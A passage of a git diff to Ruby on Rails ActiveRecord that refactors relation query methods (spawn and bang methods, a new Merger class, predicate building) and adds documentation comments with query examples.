+
+      def initialize(relation, hash)
+        hash.assert_valid_keys(*Relation::VALUE_METHODS)
+
+        @relation = relation
+        @hash     = hash
+      end
+
+      def merge
+        Merger.new(relation, other).merge
+      end
+
+      # Applying values to a relation has some side effects. E.g.
+      # interpolation might take place for where values. So we should
+      # build a relation to merge in rather than directly merging
+      # the values.
+      def other
+        other = Relation.new(relation.klass, relation.table)
+        hash.each { |k, v| other.send("#{k}!", v) }
+        other
+      end
+    end
+
+    class Merger # :nodoc:
+      attr_reader :relation, :values
+
+      def initialize(relation, other)
+        if other.default_scoped? && other.klass != relation.klass
+          other = other.with_default_scope
+        end
+
+        @relation = relation
+        @values   = other.values
+      end
+
+      def normal_values
+        Relation::SINGLE_VALUE_METHODS +
+          Relation::MULTI_VALUE_METHODS -
+          [:where, :order, :bind, :reverse_order, :lock, :create_with, :reordering, :from]
+      end
+
+      def merge
+        normal_values.each do |name|
+          value = values[name]
+          relation.send("#{name}!", value) unless value.blank?
+        end
+
+        merge_multi_values
+        merge_single_values
+
+        relation
+      end
+
+      private
+
+      def merge_multi_values
+        relation.where_values = merged_wheres
+        relation.bind_values  = merged_binds
+
+        if values[:reordering]
+          # override any order specified in the original relation
+          relation.reorder! values[:order]
+        elsif values[:order]
+          # merge in order_values from r
+          relation.order! values[:order]
+        end
+
+        relation.extend(*values[:extending]) unless values[:extending].blank?
+      end
+
+      def merge_single_values
+        relation.from_value          = values[:from] unless relation.from_value
+        relation.lock_value          = values[:lock] unless relation.lock_value
+        relation.reverse_order_value = values[:reverse_order]
+
+        unless values[:create_with].blank?
+          relation.create_with_value = (relation.create_with_value || {}).merge(values[:create_with])
+        end
+      end
+
+      def merged_binds
+        if values[:bind]
+          (relation.bind_values + values[:bind]).uniq(&:first)
+        else
+          relation.bind_values
+        end
+      end
+
+      def merged_wheres
+        if values[:where]
+          merged_wheres = relation.where_values + values[:where]
+
+          unless relation.where_values.empty?
+            # Remove equalities with duplicated left-hand. Last one wins.
+            seen = {}
+            merged_wheres = merged_wheres.reverse.reject { |w|
+              nuke = false
+              if w.respond_to?(:operator) && w.operator == :==
+                nuke         = seen[w.left]
+                seen[w.left] = true
+              end
+              nuke
+            }.reverse
+          end
+
+          merged_wheres
+        else
+          relation.where_values
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index 7e8ddd1b5d..cb8f903474 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -1,12 +1,12 @@
 module ActiveRecord
   class PredicateBuilder # :nodoc:
     def self.build_from_hash(engine, attributes, default_table)
-      predicates = attributes.map do |column, value|
+      attributes.map do |column, value|
         table = default_table
 
         if value.is_a?(Hash)
           table = Arel::Table.new(column, engine)
-          build_from_hash(engine, value, table)
+          value.map { |k,v| build(table[k.to_sym], v) }
         else
           column = column.to_s
 
@@ -15,42 +15,60 @@ module ActiveRecord
             table = Arel::Table.new(table_name, engine)
           end
 
-          attribute = table[column.to_sym]
-
-          case value
-          when ActiveRecord::Relation
-            value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty?
-            attribute.in(value.arel.ast)
-          when Array, ActiveRecord::Associations::CollectionProxy
-            values = value.to_a.map { |x|
-              x.is_a?(ActiveRecord::Base) ? x.id : x
-            }
-
-            if values.include?(nil)
-              values = values.compact
-              if values.empty?
-                attribute.eq nil
-              else
-                attribute.in(values.compact).or attribute.eq(nil)
-              end
+          build(table[column.to_sym], value)
+        end
+      end.flatten
+    end
+
+    def self.references(attributes)
+      attributes.map do |key, value|
+        if value.is_a?(Hash)
+          key
+        else
+          key = key.to_s
+          key.split('.').first.to_sym if key.include?('.')
+        end
+      end.compact
+    end
+
+    private
+      def self.build(attribute, value)
+        case value
+        when Array, ActiveRecord::Associations::CollectionProxy
+          values = value.to_a.map {|x| x.is_a?(ActiveRecord::Model) ? x.id : x}
+          ranges, values = values.partition {|v| v.is_a?(Range)}
+
+          values_predicate = if values.include?(nil)
+            values = values.compact
+
+            case values.length
+            when 0
+              attribute.eq(nil)
+            when 1
+              attribute.eq(values.first).or(attribute.eq(nil))
             else
-              attribute.in(values)
+              attribute.in(values).or(attribute.eq(nil))
             end
-
-          when Range, Arel::Relation
-            attribute.in(value)
-          when ActiveRecord::Base
-            attribute.eq(value.id)
-          when Class
-            # FIXME: I think we need to deprecate this behavior
-            attribute.eq(value.name)
           else
-            attribute.eq(value)
+            attribute.in(values)
           end
+
+          array_predicates = ranges.map { |range| attribute.in(range) }
+          array_predicates << values_predicate
+          array_predicates.inject { |composite, predicate| composite.or(predicate) }
+        when ActiveRecord::Relation
+          value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty?
+          attribute.in(value.arel.ast)
+        when Range
+          attribute.in(value)
+        when ActiveRecord::Model
+          attribute.eq(value.id)
+        when Class
+          # FIXME: I think we need to deprecate this behavior
+          attribute.eq(value.name)
+        else
+          attribute.eq(value)
         end
       end
-
-      predicates.flatten
-    end
   end
 end
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index c281bead0d..8e6254f918 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -1,48 +1,134 @@
 require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/object/blank'
 
 module ActiveRecord
   module QueryMethods
     extend ActiveSupport::Concern
 
-    attr_accessor :includes_values, :eager_load_values, :preload_values,
-                  :select_values, :group_values, :order_values, :joins_values,
-                  :where_values, :having_values, :bind_values,
-                  :limit_value, :offset_value, :lock_value, :readonly_value, :create_with_value,
-                  :from_value, :reorder_value, :reverse_order_value,
-                  :uniq_value
+    Relation::MULTI_VALUE_METHODS.each do |name|
+      class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name}_values                   # def select_values
+          @values[:#{name}] || []            #   @values[:select] || []
+        end                                  # end
+                                             #
+        def #{name}_values=(values)          # def select_values=(values)
+          raise ImmutableRelation if @loaded #   raise ImmutableRelation if @loaded
+          @values[:#{name}] = values         #   @values[:select] = values
+        end                                  # end
+      CODE
+    end
+
+    (Relation::SINGLE_VALUE_METHODS - [:create_with]).each do |name|
+      class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name}_value                    # def readonly_value
+          @values[:#{name}]                  #   @values[:readonly]
+        end                                  # end
+      CODE
+    end
+
+    Relation::SINGLE_VALUE_METHODS.each do |name|
+      class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name}_value=(value)            # def readonly_value=(value)
+          raise ImmutableRelation if @loaded #   raise ImmutableRelation if @loaded
+          @values[:#{name}] = value          #   @values[:readonly] = value
+        end                                  # end
+      CODE
+    end
 
+    def create_with_value # :nodoc:
+      @values[:create_with] || {}
+    end
+
+    alias extensions extending_values
+
+    # Specify relationships to be included in the result set. For
+    # example:
+    #
+    #   users = User.includes(:address)
+    #   users.each do |user|
+    #     user.address.city
+    #   end
+    #
+    # allows you to access the +address+ attribute of the +User+ model without
+    # firing an additional query. This will often result in a
+    # performance improvement over a simple +join+.
+    #
+    # === conditions
+    #
+    # If you want to add conditions to your included models you'll have
+    # to explicitly reference them. For example:
+    #
+    #   User.includes(:posts).where('posts.name = ?', 'example')
+    #
+    # Will throw an error, but this will work:
+    #
+    #   User.includes(:posts).where('posts.name = ?', 'example').references(:posts)
     def includes(*args)
-      args.reject! {|a| a.blank? }
+      args.empty? ? self : spawn.includes!(*args)
+    end
 
-      return self if args.empty?
+    # Like #includes, but modifies the relation in place.
+    def includes!(*args)
+      args.reject! {|a| a.blank? }
 
-      relation = clone
-      relation.includes_values = (relation.includes_values + args).flatten.uniq
-      relation
+      self.includes_values = (includes_values + args).flatten.uniq
+      self
     end
 
+    # Forces eager loading by performing a LEFT OUTER JOIN on +args+:
+    #
+    #   User.eager_load(:posts)
+    #   => SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ...
+    #   FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" =
+    #   "users"."id"
     def eager_load(*args)
-      return self if args.blank?
+      args.blank? ? self : spawn.eager_load!(*args)
+    end
 
-      relation = clone
-      relation.eager_load_values += args
-      relation
+    # Like #eager_load, but modifies relation in place.
+    def eager_load!(*args)
+      self.eager_load_values += args
+      self
     end
 
+    # Allows preloading of +args+, in the same way that +includes+ does:
+    #
+    #   User.preload(:posts)
+    #   => SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3)
     def preload(*args)
-      return self if args.blank?
+      args.blank? ? self : spawn.preload!(*args)
+    end
+
+    # Like #preload, but modifies relation in place.
+    def preload!(*args)
+      self.preload_values += args
+      self
+    end
+
+    # Used to indicate that an association is referenced by an SQL string, and should
+    # therefore be JOINed in any query rather than loaded separately.
+    #
+    #   User.includes(:posts).where("posts.name = 'foo'")
+    #   # => Doesn't JOIN the posts table, resulting in an error.
+    #
+    #   User.includes(:posts).where("posts.name = 'foo'").references(:posts)
+    #   # => Query now knows the string references posts, so adds a JOIN
+    def references(*args)
+      args.blank? ? self : spawn.references!(*args)
+    end
+
+    # Like #references, but modifies relation in place.
+    def references!(*args)
+      args.flatten!
 
-      relation = clone
-      relation.preload_values += args
-      relation
+      self.references_values = (references_values + args.map!(&:to_s)).uniq
+      self
     end
 
     # Works in two unique ways.
     #
     # First: takes a block so it can be used just like Array#select.
     #
-    #   Model.scoped.select { |m| m.field == value }
+    #   Model.all.select { |m| m.field == value }
     #
     # This will build an array of objects from the database for the scope,
     # converting them into an array and iterating through them using Array#select.
@@ -57,124 +143,393 @@ module ActiveRecord
     # array, it actually returns a relation object and can have other query
     # methods appended to it, such as the other methods in ActiveRecord::QueryMethods.
     #
-    # This method will also take multiple parameters:
+    # The argument to the method can also be an array of fields.
     #
-    #   >> Model.select(:field, :other_field, :and_one_more)
+    #   >> Model.select([:field, :other_field, :and_one_more])
     #   => [#<Model field: "value", other_field: "value", and_one_more: "value">]
     #
-    # Any attributes that do not have fields retrieved by a select
-    # will return `nil` when the getter method for that attribute is used:
+    # Accessing attributes of an object that do not have fields retrieved by a select
+    # will throw <tt>ActiveModel::MissingAttributeError</tt>:
     #
     #   >> Model.select(:field).first.other_field
-    #   => nil
+    #   => ActiveModel::MissingAttributeError: missing attribute: other_field
     def select(value = Proc.new)
       if block_given?
-        to_a.select {|*block_args| value.call(*block_args) }
+        to_a.select { |*block_args| value.call(*block_args) }
       else
-        relation = clone
-        relation.select_values += Array.wrap(value)
-        relation
+        spawn.select!(value)
       end
     end
 
+    # Like #select, but modifies relation in place.
+    def select!(value)
+      self.select_values += Array.wrap(value)
+      self
+    end
+
+    # Allows to specify a group attribute:
+    #
+    #   User.group(:name)
+    #   => SELECT "users".* FROM "users" GROUP BY name
+    #
+    # Returns an array with distinct records based on the +group+ attribute:
+    #
+    #   User.select([:id, :name])
+    #   => [#<User id: 1, name: "Oscar">, #<User id: 2, name: "Oscar">, #<User id: 3, name: "Foo">
+    #
+    #   User.group(:name)
+    #   => [#<User id: 3, name: "Foo", ...>, #<User id: 2, name: "Oscar", ...>]
     def group(*args)
-      return self if args.blank?
+      args.blank? ? self : spawn.group!(*args)
+    end
+
+    # Like #group, but modifies relation in place.
+    def group!(*args)
+      args.flatten!
 
-      relation = clone
-      relation.group_values += args.flatten
-      relation
+      self.group_values += args
+      self
     end
 
+    # Allows to specify an order attribute:
+    #
+    #   User.order('name')
+    #   => SELECT "users".* FROM "users" ORDER BY name
+    #
+    #   User.order('name DESC')
+    #   => SELECT "users".* FROM "users" ORDER BY name DESC
+    #
+    #   User.order('name DESC, email')
+    #   => SELECT "users".* FROM "users" ORDER BY name DESC, email
     def order(*args)
-      return self if args.blank?
+      args.blank? ? self : spawn.order!(*args)
+    end
+
+    # Like #order, but modifies relation in place.
+    def order!(*args)
+      args.flatten!
+
+      references = args.reject { |arg| Arel::Node === arg }
+      references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
+      references!(references) if references.any?
 
-      relation = clone
-      relation.order_values += args.flatten
-      relation
+      self.order_values = args + self.order_values
+      self
     end
 
+    # Replaces any existing order defined on the relation with the specified order.
+    #
+    #   User.order('email DESC').reorder('id ASC') # generated SQL has 'ORDER BY id ASC'
+    #
+    # Subsequent calls to order on the same relation will be appended. For example:
+    #
+    #   User.order('email DESC').reorder('id ASC').order('name ASC')
+    #
+    # generates a query with 'ORDER BY name ASC, id ASC'.
     def reorder(*args)
-      return self if args.blank?
+      args.blank? ? self : spawn.reorder!(*args)
+    end
 
-      relation = clone
-      relation.reorder_value = args.flatten
-      relation
+    # Like #reorder, but modifies relation in place.
+    def reorder!(*args)
+      args.flatten!
+
+      self.reordering_value = true
+      self.order_values = args
+      self
     end
 
+    # Performs a joins on +args+:
+    #
+    #   User.joins(:posts)
+    #   => SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
     def joins(*args)
-      return self if args.compact.blank?
-
-      relation = clone
+      args.compact.blank? ? self : spawn.joins!(*args)
+    end
 
+    # Like #joins, but modifies relation in place.
+    def joins!(*args)
       args.flatten!
-      relation.joins_values += args
 
-      relation
+      self.joins_values += args
+      self
     end
 
     def bind(value)
-      relation = clone
-      relation.bind_values += [value]
-      relation
+      spawn.bind!(value)
+    end
+
+    def bind!(value)
+      self.bind_values += [value]
+      self
     end
 
+    # Returns a new relation, which is the result of filtering the current relation
+    # according to the conditions in the arguments.
+    #
+    # #where accepts conditions in one of several formats. In the examples below, the resulting
+    # SQL is given as an illustration; the actual query generated may be different depending
+    # on the database adapter.
+    #
+    # === string
+    #
+    # A single string, without additional arguments, is passed to the query
+    # constructor as a SQL fragment, and used in the where clause of the query.
+    #
+    #    Client.where("orders_count = '2'")
+    #    # SELECT * from clients where orders_count = '2';
+    #
+    # Note that building your own string from user input may expose your application
+    # to injection attacks if not done properly. As an alternative, it is recommended
+    # to use one of the following methods.
+    #
+    # === array
+    #
+    # If an array is passed, then the first element of the array is treated as a template, and
+    # the remaining elements are inserted into the template to generate the condition.
+    # Active Record takes care of building the query to avoid injection attacks, and will
+    # convert from the ruby type to the database type where needed. Elements are inserted
+    # into the string in the order in which they appear.
+    #
+    #   User.where(["name = ? and email = ?", "Joe", "joe@example.com"])
+    #   # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+    #
+    # Alternatively, you can use named placeholders in the template, and pass a hash as the
+    # second element of the array. The names in the template are replaced with the corresponding
+    # values from the hash.
+    #
+    #   User.where(["name = :name and email = :email", { name: "Joe", email: "joe@example.com" }])
+    #   # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+    #
+    # This can make for more readable code in complex queries.
+    #
+    # Lastly, you can use sprintf-style % escapes in the template. This works slightly differently
+    # than the previous methods; you are responsible for ensuring that the values in the template
+    # are properly quoted. The values are passed to the connector for quoting, but the caller
+    # is responsible for ensuring they are enclosed in quotes in the resulting SQL. After quoting,
+    # the values are inserted using the same escapes as the Ruby core method <tt>Kernel::sprintf</tt>.
+    #
+    #   User.where(["name = '%s' and email = '%s'", "Joe", "joe@example.com"])
+    #   # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+    #
+    # If #where is called with multiple arguments, these are treated as if they were passed as
+    # the elements of a single array.
+    #
+    #   User.where("name = :name and email = :email", { name: "Joe", email: "joe@example.com" })
+    #   # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+    #
+    # When using strings to specify conditions, you can use any operator available from
+    # the database. While this provides the most flexibility, you can also unintentionally introduce
+    # dependencies on the underlying database. If your code is intended for general consumption,
+    # test with multiple database backends.
+    #
+    # === hash
+    #
+    # #where will also accept a hash condition, in which the keys are fields and the values
+    # are values to be searched for.
+    #
+    # Fields can be symbols or strings. Values can be single values, arrays, or ranges.
+    #
+    #    User.where({ name: "Joe", email: "joe@example.com" })
+    #    # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com'
+    #
+    #    User.where({ name: ["Alice", "Bob"]})
+    #    # SELECT * FROM users WHERE name IN ('Alice', 'Bob')
+    #
+    #    User.where({ created_at: (Time.now.midnight - 1.day)..Time.now.midnight })
+    #    # SELECT * FROM users WHERE (created_at BETWEEN '2012-06-09 07:00:00.000000' AND '2012-06-10 07:00:00.000000')
+    #
+    # === Joins
+    #
+    # If the relation is the result of a join, you may create a condition which uses any of the
+    # tables in the join. For string and array conditions, use the table name in the condition.
+    #
+    #    User.joins(:posts).where("posts.created_at < ?", Time.now)
+    #
+    # For hash conditions, you can either use the table name in the key, or use a sub-hash.
+    #
+    #    User.joins(:posts).where({ "posts.published" => true })
+    #    User.joins(:posts).where({ :posts => { :published => true } })
+    #
+    # === empty condition
+    #
+    # If the condition returns true for blank?, then where is a no-op and returns the current relation.
     def where(opts, *rest)
-      return self if opts.blank?
+      opts.blank? ? self : spawn.where!(opts, *rest)
+    end
 
-      relation = clone
-      relation.where_values += build_where(opts, rest)
-      relation
+    # #where! is identical to #where, except that instead of returning a new relation, it adds
+    # the condition to the existing relation.
+    def where!(opts, *rest)
+      references!(PredicateBuilder.references(opts)) if Hash === opts
+
+      self.where_values += build_where(opts, rest)
+      self
     end
 
+    # Allows to specify a HAVING clause. Note that you can't use HAVING
+    # without also specifying a GROUP clause.
+    #
+    #   Order.having('SUM(price) > 30').group('user_id')
     def having(opts, *rest)
-      return self if opts.blank?
+      opts.blank? ? self : spawn.having!(opts, *rest)
+    end
+
+    # Like #having, but modifies relation in place.
+    def having!(opts, *rest)
+      references!(PredicateBuilder.references(opts)) if Hash === opts
 
-      relation = clone
-      relation.having_values += build_where(opts, rest)
-      relation
+      self.having_values += build_where(opts, rest)
+      self
     end
 
+    # Specifies a limit for the number of records to retrieve.
+    #
+    #   User.limit(10) # generated SQL has 'LIMIT 10'
+    #
+    #   User.limit(10).limit(20) # generated SQL has 'LIMIT 20'
     def limit(value)
-      relation = clone
-      relation.limit_value = value
-      relation
+      spawn.limit!(value)
     end
 
+    # Like #limit, but modifies relation in place.
+    def limit!(value)
+      self.limit_value = value
+      self
+    end
+
+    # Specifies the number of rows to skip before returning rows.
+    #
+    #   User.offset(10) # generated SQL has "OFFSET 10"
+    #
+    # Should be used with order.
+    #
+    #   User.offset(10).order("name ASC")
     def offset(value)
-      relation = clone
-      relation.offset_value = value
-      relation
+      spawn.offset!(value)
+    end
+
+    # Like #offset, but modifies relation in place.
+    def offset!(value)
+      self.offset_value = value
+      self
     end
 
+    # Specifies locking settings (default to +true+). For more information
+    # on locking, please see +ActiveRecord::Locking+.
     def lock(locks = true)
-      relation = clone
+      spawn.lock!(locks)
+    end
 
+    # Like #lock, but modifies relation in place.
+    def lock!(locks = true)
       case locks
       when String, TrueClass, NilClass
-        relation.lock_value = locks || true
+        self.lock_value = locks || true
       else
-        relation.lock_value = false
+        self.lock_value = false
       end
 
-      relation
+      self
+    end
+
+    # Returns a chainable relation with zero records, specifically an
+    # instance of the <tt>ActiveRecord::NullRelation</tt> class.
+    #
+    # The returned <tt>ActiveRecord::NullRelation</tt> inherits from Relation and implements the
+    # Null Object pattern. It is an object with defined null behavior and always returns an empty
+    # array of records without quering the database.
+    #
+    # Any subsequent condition chained to the returned relation will continue
+    # generating an empty relation and will not fire any query to the database.
+    #
+    # Used in cases where a method or scope could return zero records but the
+    # result needs to be chainable.
+    #
+    # For example:
+    #
+    #   @posts = current_user.visible_posts.where(:name => params[:name])
+    #   # => the visible_posts method is expected to return a chainable Relation
+    #
+    #   def visible_posts
+    #     case role
+    #     when 'Country Manager'
+    #       Post.where(:country => country)
+    #     when 'Reviewer'
+    #       Post.published
+    #     when 'Bad User'
+    #       Post.none # => returning [] instead breaks the previous code
+    #     end
+    #   end
+    #
+    def none
+      extending(NullRelation)
     end
 
+    # Sets readonly attributes for the returned relation. If value is
+    # true (default), attempting to update a record will result in an error.
+    #
+    #   users = User.readonly
+    #   users.first.save
+    #   => ActiveRecord::ReadOnlyRecord: ActiveRecord::ReadOnlyRecord
     def readonly(value = true)
-      relation = clone
-      relation.readonly_value = value
-      relation
+      spawn.readonly!(value)
+    end
+
+    # Like #readonly, but modifies relation in place.
+    def readonly!(value = true)
+      self.readonly_value = value
+      self
     end
 
+    # Sets attributes to be used when creating new records from a
+    # relation object.
+    #
+    #   users = User.where(name: 'Oscar')
+    #   users.new.name # => 'Oscar'
+    #
+    #   users = users.create_with(name: 'DHH')
+    #   users.new.name # => 'DHH'
+    #
+    # You can pass +nil+ to +create_with+ to reset attributes:
+    #
+    #   users = users.create_with(nil)
+    #   users.new.name # => 'Oscar'
     def create_with(value)
-      relation = clone
-      relation.create_with_value = value ? create_with_value.merge(value) : {}
-      relation
+      spawn.create_with!(value)
     end
 
-    def from(value)
-      relation = clone
-      relation.from_value = value
-      relation
+    # Like #create_with but modifies the relation in place. Raises
+    # +ImmutableRelation+ if the relation has already been loaded.
+    #
+    #   users = User.all.create_with!(name: 'Oscar')
+    #   users.new.name # => 'Oscar'
+    def create_with!(value)
+      self.create_with_value = value ? create_with_value.merge(value) : {}
+      self
+    end
+
+    # Specifies table from which the records will be fetched. For example:
+    #
+    #   Topic.select('title').from('posts')
+    #   #=> SELECT title FROM posts
+    #
+    # Can accept other relation objects. For example:
+    #
+    #   Topic.select('title').from(Topic.approved)
+    #   # => SELECT title FROM (SELECT * FROM topics WHERE approved = 't') subquery
+    #
+    #   Topic.select('a.title').from(Topic.approved, :a)
+    #   # => SELECT a.title FROM (SELECT * FROM topics WHERE approved = 't') a
+    #
+    def from(value, subquery_name = nil)
+      spawn.from!(value, subquery_name)
+    end
+
+    # Like #from, but modifies relation in place.
+    def from!(value, subquery_name = nil)
+      self.from_value = [value, subquery_name]
+      self
     end
 
     # Specifies whether the records should be unique or not. For example:
@@ -188,9 +543,13 @@ module ActiveRecord
     #   User.select(:name).uniq.uniq(false)
     #   # => You can also remove the uniqueness
     def uniq(value = true)
-      relation = clone
-      relation.uniq_value = value
-      relation
+      spawn.uniq!(value)
+    end
+
+    # Like #uniq, but modifies relation in place.
+    def uniq!(value = true)
+      self.uniq_value = value
+      self
     end
 
     # Used to extend a scope with additional methods, either through
@@ -206,16 +565,16 @@ module ActiveRecord
     #     end
     #   end
     #
-    #   scope = Model.scoped.extending(Pagination)
+    #   scope = Model.all.extending(Pagination)
     #   scope.page(params[:page])
     #
     # You can also pass a list of modules:
     #
-    #   scope = Model.scoped.extending(Pagination, SomethingElse)
+    #   scope = Model.all.extending(Pagination, SomethingElse)
     #
     # === Using a block
     #
-    #   scope = Model.scoped.extending do
+    #   scope = Model.all.extending do
     #     def page(number)
     #       # pagination code goes here
     #     end
@@ -224,54 +583,71 @@ module ActiveRecord
     #
     # You can also use a block and a module list:
     #
-    #   scope = Model.scoped.extending(Pagination) do
+    #   scope = Model.all.extending(Pagination) do
     #     def per_page(number)
     #       # pagination code goes here
     #     end
     #   end
-    def extending(*modules)
-      modules << Module.new(&Proc.new) if block_given?
+    def extending(*modules, &block)
+      if modules.any? || block
+        spawn.extending!(*modules, &block)
+      else
+        self
+      end
+    end
+
+    # Like #extending, but modifies relation in place.
+    def extending!(*modules, &block)
+      modules << Module.new(&block) if block_given?
 
-      return self if modules.empty?
+      self.extending_values += modules.flatten
+      extend(*extending_values) if extending_values.any?
 
-      relation = clone
-      relation.send(:apply_modules, modules.flatten)
-      relation
+      self
     end
 
+    # Reverse the existing order clause on the relation.
+    #
+    #   User.order('name ASC').reverse_order # generated SQL has 'ORDER BY name DESC'
     def reverse_order
-      relation = clone
-      relation.reverse_order_value = !relation.reverse_order_value
-      relation
+      spawn.reverse_order!
+    end
+
+    # Like #reverse_order, but modifies relation in place.
+    def reverse_order!
+      self.reverse_order_value = !reverse_order_value
+      self
     end
 
+    # Returns the Arel object associated with the relation.
     def arel
       @arel ||= with_default_scope.build_arel
     end
 
+    # Like #arel, but ignores the default scope of the model.
     def build_arel
-      arel = table.from table
+      arel = Arel::SelectManager.new(table.engine, table)
 
-      build_joins(arel, @joins_values) unless @joins_values.empty?
+      build_joins(arel, joins_values) unless joins_values.empty?
 
-      collapse_wheres(arel, (@where_values - ['']).uniq)
+      collapse_wheres(arel, (where_values - ['']).uniq)
 
-      arel.having(*@having_values.uniq.reject{|h| h.blank?}) unless @having_values.empty?
+      arel.having(*having_values.uniq.reject{|h| h.blank?}) unless having_values.empty?
 
-      arel.take(connection.sanitize_limit(@limit_value)) if @limit_value
-      arel.skip(@offset_value) if @offset_value
+      arel.take(connection.sanitize_limit(limit_value)) if limit_value
+      arel.skip(offset_value.to_i) if offset_value
 
-      arel.group(*@group_values.uniq.reject{|g| g.blank?}) unless @group_values.empty?
+      arel.group(*group_values.uniq.reject{|g| g.blank?}) unless group_values.empty?
 
-      order = @reorder_value ? @reorder_value : @order_values
-      order = reverse_sql_order(order) if @reverse_order_value
+      order = order_values
+      order = reverse_sql_order(order) if reverse_order_value
       arel.order(*order.uniq.reject{|o| o.blank?}) unless order.empty?
 
-      build_select(arel, @select_values.uniq)
+      build_select(arel, select_values.uniq)
 
-      arel.distinct(@uniq_value)
-      arel.from(@from_value) if @from_value
-      arel.lock(@lock_value) if @lock_value
+      arel.distinct(uniq_value)
+      arel.from(build_from) if from_value
+      arel.lock(lock_value) if lock_value
 
       arel
     end
@@ -319,6 +695,17 @@ module ActiveRecord
       end
     end
 
+    def build_from
+      opts, name = from_value
+      case opts
+      when Relation
+        name ||= 'subquery'
+        opts.arel.as(name.to_s)
+      else
+        opts
+      end
+    end
+
     def build_joins(manager, joins)
       buckets = joins.group_by do |join|
         case join
@@ -373,13 +760,6 @@ module ActiveRecord
       end
     end
 
-    def apply_modules(modules)
-      unless modules.empty?
-        @extensions += modules
-        modules.each {|extension| extend(extension) }
-      end
-    end
-
     def reverse_sql_order(order_query)
       order_query = ["#{quoted_table_name}.#{quoted_primary_key} ASC"] if order_query.empty?
 
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
index ba882beca9..5394c1b28b 100644
--- a/activerecord/lib/active_record/relation/spawn_methods.rb
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -1,66 +1,53 @@
-require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+require 'active_record/relation/merger'
 
 module ActiveRecord
   module SpawnMethods
-    def merge(r)
-      return self unless r
-      return to_a & r if r.is_a?(Array)
 
-      merged_relation = clone
-
-      r = r.with_default_scope if r.default_scoped? && r.klass != klass
-
-      Relation::ASSOCIATION_METHODS.each do |method|
-        value = r.send(:"#{method}_values")
-
-        unless value.empty?
-          if method == :includes
-            merged_relation = merged_relation.includes(value)
-          else
-            merged_relation.send(:"#{method}_values=", value)
-          end
-        end
-      end
-
-      (Relation::MULTI_VALUE_METHODS - [:joins, :where]).each do |method|
-        value = r.send(:"#{method}_values")
-        merged_relation.send(:"#{method}_values=", merged_relation.send(:"#{method}_values") + value) if value.present?
-      end
-
-      merged_relation.joins_values += r.joins_values
-
-      merged_wheres = @where_values + r.where_values
+    # This is overridden by Associations::CollectionProxy
+    def spawn #:nodoc:
+      clone
+    end
 
-      unless @where_values.empty?
-        # Remove duplicates, last one wins.
-        seen = Hash.new { |h,table| h[table] = {} }
-        merged_wheres = merged_wheres.reverse.reject { |w|
-          nuke = false
-          if w.respond_to?(:operator) && w.operator == :==
-            name              = w.left.name
-            table             = w.left.relation.name
-            nuke              = seen[table][name]
-            seen[table][name] = true
-          end
-          nuke
-        }.reverse
+    # Merges in the conditions from <tt>other</tt>, if <tt>other</tt> is an <tt>ActiveRecord::Relation</tt>.
+    # Returns an array representing the intersection of the resulting records with <tt>other</tt>, if <tt>other</tt> is an array.
+    #
+    # ==== Examples
+    #
+    #   Post.where(:published => true).joins(:comments).merge( Comment.where(:spam => false) )
+    #   # Performs a single join query with both where conditions.
+    #
+    #   recent_posts = Post.order('created_at DESC').first(5)
+    #   Post.where(:published => true).merge(recent_posts)
+    #   # Returns the intersection of all published posts with the 5 most recently created posts.
+    #   # (This is just an example. You'd probably want to do this with a single query!)
+    #
+    # Procs will be evaluated by merge:
+    #
+    #   Post.where(published: true).merge(-> { joins(:comments) })
+    #   # => Post.where(published: true).joins(:comments)
+    #
+    # This is mainly intended for sharing common conditions between multiple associations.
+    #
+    def merge(other)
+      if other.is_a?(Array)
+        to_a & other
+      elsif other
+        spawn.merge!(other)
+      else
+        self
       end
+    end
 
-      merged_relation.where_values = merged_wheres
-
-      (Relation::SINGLE_VALUE_METHODS - [:lock, :create_with]).each do |method|
-        value = r.send(:"#{method}_value")
-        merged_relation.send(:"#{method}_value=", value) unless value.nil?
+    # Like #merge, but applies changes in place.
+    def merge!(other)
+      if !other.is_a?(Relation) && other.respond_to?(:to_proc)
+        instance_exec(&other)
+      else
+        klass = other.is_a?(Hash) ? Relation::HashMerger : Relation::Merger
+        klass.new(self, other).merge
       end
-
-      merged_relation.lock_value = r.lock_value unless merged_relation.lock_value
-
-      merged_relation = merged_relation.create_with(r.create_with_value) unless r.create_with_value.empty?
-
-      # Apply scope extension modules
-      merged_relation.send :apply_modules, r.extensions
-
-      merged_relation
     end
 
     # Removes from the query the condition(s) specified in +skips+.
@@ -71,20 +58,9 @@ module ActiveRecord
     #   Post.where('id > 10').order('id asc').except(:where) # discards the where condition but keeps the order
     #
     def except(*skips)
-      result = self.class.new(@klass, table)
+      result = Relation.new(klass, table, values.except(*skips))
       result.default_scoped = default_scoped
-
-      ((Relation::ASSOCIATION_METHODS + Relation::MULTI_VALUE_METHODS) - skips).each do |method|
